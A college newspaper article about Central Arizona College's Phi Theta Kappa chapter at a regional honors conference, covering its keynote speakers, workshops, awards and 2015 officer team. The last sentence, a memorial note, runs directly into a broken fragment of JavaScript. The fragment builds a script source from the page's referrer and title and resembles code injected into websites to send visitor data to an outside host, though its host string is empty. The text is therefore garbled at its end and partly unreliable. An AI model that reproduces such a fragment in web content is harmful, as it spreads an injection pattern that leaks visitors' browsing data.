Phi Theta Kappa’s Regional Conference

Dominic Savana, Cactus Editor

Many of our fellow classmates took to Mesa to represent Central Arizona College at the annual Regional Conference for Phi Theta Kappa, the largest junior college honors society. The Regional Conference, hosted by Mesa Community College, is a chance for Phi Theta Kappa to recognize the hard work done by students from the previous year. The conference provides a chance for Kappians to make connections that will last through their community college career and beyond.

Phi Theta Kappa encourages student leaders to work towards improving their communities through service and scholarship. Every year the group works on two projects: the College Project and the Honors in Action Project. The College Project utilizes Phi Theta Kappa to help community colleges with recruitment and retention. This work is invaluable to Central Arizona College’s efforts to increase enrollment and graduation rates. The Honors in Action Project for this past year focused on mobile medicine and autism research.

Specific to this year’s conference were two special keynote speakers: Paulo V. Kretly and Fredi Lajvardi. Paulo Kretly specializes in personal productivity and self-improvement. His work at FranklinCovey is highlighted by 7 habits all successful people have. The 7 habits are about changing perception, not execution. Perceiving goals and life in a positive way yields positive results through confidence. His speech left many in the crowd full of energy. Equally successful was Fredi Lajvardi, a teacher at Carl Hayden Community High School in Phoenix. Many might recognize his name attached to the Spare Parts movie. In real life, his success story is not just his. Fredi has changed the lives of hundreds of students through his robotics program. Year after year, Carl Hayden’s brightest students work together to compete nationally in engineering competitions. Fredi’s contribution to education cannot be overstated, and Phi Theta Kappa was elated to have him speak.

Several college representatives spoke and courted Kappians to join their university ranks in the coming years. Phi Theta Kappa students receive a scholarship for their membership from most four-year institutions in Arizona. Several colleges hosted workshops that will help Phi students in their pursuit of degrees beyond community college. Phi Theta Kappa advisors hosted their own workshops to encourage students to work through different avenues to improve scholarship resumes and academic credentials.

The conference closed with a tremendous amount of fanfare, and Central Arizona College should be proud to know that Alpha Theta Delta Chapter, our chapter, took home several distinguished awards. CAC took home the Hall of Honor Awards in the following categories: distinguished chapter, college project, chapter officer team, distinguished member – Cameryn Fossel (Superstition Mountain Campus), and distinguished advisor – Maren Wilson. Dawne Shoenthal completed Phi Theta Kappa’s Five Star Competitive Edge, an online professional development plan and was recognized for this remarkable accomplishment.

The officer team for 2015 included: Cheyenne Dickey, Edward Aguirre, Annie Ramirez (Aravaipa) Alejandra Cano, Destiney Armenta, Olivia Jaqua (Superstition Mountain) Dawn Shoenthal, Tigest Maru, Matt Kochel, Taylor Kace (San Tan) Andrea Castano, Cory Lehman, Brendan Onquit, Cameron Couts (Maricopa) Joe Kirklow*, Quinn Waltz, Audrey Bimbi, Maria McBride, Norma Jean Polee-Muhammed, Marley Hanson, and April Jerome (Signal Peak).

* Joe Kirklow passed away August 5, 2015 and was the Phi Theta Kappa president.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;